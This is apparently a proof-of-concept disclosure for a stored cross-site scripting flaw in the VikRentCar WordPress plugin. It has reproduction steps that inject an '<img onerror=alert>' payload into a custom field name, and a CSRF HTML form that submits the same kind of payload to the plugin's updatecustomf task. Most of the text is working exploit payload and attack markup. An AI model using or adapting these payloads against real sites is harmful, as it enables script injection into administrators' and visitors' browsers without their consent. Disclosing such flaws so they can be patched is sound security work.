Steps To produce the bug:

1. Go to the custom fields option in the plugin (/wp-admin/admin.php?option=com_vikrentcar&task=customf)
2. Edit the field and add an XSS payload in the Field Name, ie <img src=x onerror=alert(1337)>
3. Now save that and whenever anyone visit that XSS will trigger

via CSRF

    <form action="" method="POST">
      <input type="hidden" name="name" value="ORDER_TERMSCONDITIONS<img src onerror=alert(/XSS/)>" />
      <input type="hidden" name="type" value="checkbox" />
      <input type="hidden" name="choose[]" value="" />
      <input type="hidden" name="required" value="1" />
      <input type="hidden" name="flag" value="" />
      <input type="hidden" name="poplink" value="" />
      <input type="hidden" name="task" value="updatecustomf" />
      <input type="hidden" name="option" value="com_vikrentcar" />
      <input type="hidden" name="where" value="13" />
      <input type="submit" value="Submit request" />